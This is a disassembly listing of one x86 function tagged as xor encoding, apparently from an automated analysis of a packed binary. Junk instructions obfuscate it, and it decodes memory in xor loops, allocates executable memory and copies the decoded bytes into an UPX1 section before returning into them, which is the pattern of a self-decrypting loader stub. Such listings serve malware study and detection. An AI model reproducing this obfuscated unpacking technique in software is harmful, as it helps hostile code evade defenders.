Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x196ce4d7
not eax
mov ebx, eax
popal
not ebx
sub ebx, 1
mov ecx, 0
mov ebx, edi
not esi
add eax, esi
mov edx, ebx
inc esi
and esi, esi
mov edi, edx
add eax, eax
or esi, eax
or esi, esi
inc ecx
dec esi
not esi
cmp ecx, 0x1002c84
jne 0xa789c4
add esi, eax
sub eax, 1
dec eax
add eax, 0xf0571715
mov eax, 0x21c35ffd
add ebx, ebx
mov eax, 0xa78796
or edi, esi
not esi
mov ebx, 0xa7898a
add esi, 0x1b1a10c0
sub esi, edi
mov edx, dword [eax]
sub edi, 1
mov edi, esi
and ecx, edi
and edx, 0xff
mov esi, 0x4b612529
add ecx, 0x8381e323
add ecx, 0xc8fbc996
xor dword [ebx], edx
add ecx, esi
add edi, 0x50a165ce
not edi
add ebx, 1
inc esi
not esi
inc eax
add ecx, edi
mov edi, 0x376b3fb8
cmp ebx, entry0
jl 0xa78a13
sub esi, ecx
not edi
add esi, esi
sub edi, esi
add edi, 1
and esi, esi
or ecx, esi
and ecx, edx
sub edx, esi
mov edi, 0xa7898e
and ecx, edx
mov edx, ebx
mov edi, dword [edi]
add esi, 0xdbf32aff
and ebx, ecx
mov edi, dword [edi]
sub esi, 0xfa4775ef
not ecx
sub ecx, 0xb101f12a
push edi
inc ecx
mov ebx, 0xcd26887e
mov edi, 0xa7898a
sub edx, 0xc153641b
add ebx, 0xbdd7c840
not edx
mov edi, dword [edi]
dec edx
mov ecx, 0x5c1cf5e5
add edx, 0x69154e0b
mov edi, dword [edi]
sub ecx, edx
add edx, 0xc9f2ef37
add edx, ebx
push 0xa78992
inc esi
or esi, ebx
mov ecx, ebx
call edi
or ebx, ecx
sub ebx, 0x774a4462
pop edi
sub edx, 0xf671b1c7
add ebx, 0xbdc56243
add edx, 0xbeca695f
sub esp, 4
mov dword [esp], 0xa7899f
add esi, 1
not ebx
push eax
not esi
dec ebx
call edi
and ebx, ebx
or ebx, ecx
mov edx, 0xc053fd17
push 0x40
add edx, esi
dec ecx
push 0x3000
add edx, 0x91f9272b
add edx, 0x3501ef84
sub ebx, 0xbcc57513
push 0x2000094d
sub edx, 0xb54c7acb
sub ebx, ecx
push 0
or ebx, edx
add ecx, ebx
dec edx
call eax
inc ebx
sub edx, 0xc4698d72
sub ebx, 0x2a6cca50
add eax, 0x200008cc
add ebx, 0x22f71aae
add esi, esi
mov esi, ecx
mov edi, 0xf195baa
add ecx, 0xae491d31
and ebx, esi
mov dword [eax], edi
sub esi, 0x71a937b8
dec ebx
mov edi, dword [eax]
not edx
inc ecx
cmp edi, 0xf195baa
je 0xa78b93
mov edx, 0
mov al, byte [edx]
add esi, ebx
or ebx, esi
add edx, ecx
and ecx, ecx
and eax, ebx
or ebx, ebx
add ebx, 0xbf9b6af8
mov edi, section.UPX1
and ebx, ebx
not eax
inc eax
mov esi, 0xa78795
mov ebx, eax
mov eax, ebx
mov edx, 0
inc ebx
and eax, ebx
sub ebx, eax
mov ecx, 0xa78796
not eax
mov eax, 0x189ca01
lea ecx, [edx + ecx]
mov eax, ebx
add eax, eax
sub ebx, eax
mov ecx, dword [ecx]
sub eax, ebx
dec ebx
add ebx, 0x13b2a708
and ecx, 0xff
sub eax, ebx
mov ebx, eax
sub ebx, 0xa2e8fee
inc edx
add ebx, 0xfd9218da
and ebx, ebx
cmp edx, 0x1f4
jne 0xa78c08
mov edx, 0
or ebx, ebx
sub ebx, eax
mov ebx, 0xaa9c334b
dec eax
sub eax, ebx
xor dword [edi], ecx
and ebx, eax
and eax, ebx
or eax, eax
add edi, 2
and ebx, ebx
or ebx, ebx
cmp edi, esi
jl 0xa78bc2
add ebx, ebx
mov ebx, eax
sub ebx, 0xab60876d
or ebx, ebx
dec ebx
mov esi, section.UPX1
add edi, 0x22fc867f
sub ebx, 0x7f085c5c
mov eax, section.UPX1
sub edi, 0xdf3df0f9
add ebx, ebx
mov edx, 0xa78795
sub edi, ebx
mov edi, ebx
sub ebx, 1
mov ecx, 0
not ebx
mov edi, ebx
inc ebx
mov cl, byte [eax]
add ebx, ebx
dec ebx
not ebx
mov byte [esi], cl
and edi, ebx
add edi, 0xe116ad79
or edi, ebx
inc esi
sub ebx, 0xdd1d037
sub ebx, 0x9ce089a3
mov edi, 0x39fefbf
add eax, 2
and edi, ebx
inc edi
cmp eax, edx
jle 0xa78c72
or ebx, edi
dec ebx
add ebx, 0x9620793c
mov eax, 0xfcf90ebf
push 0x8dc6a0
mov eax, 0xd8033cf7
inc eax
ret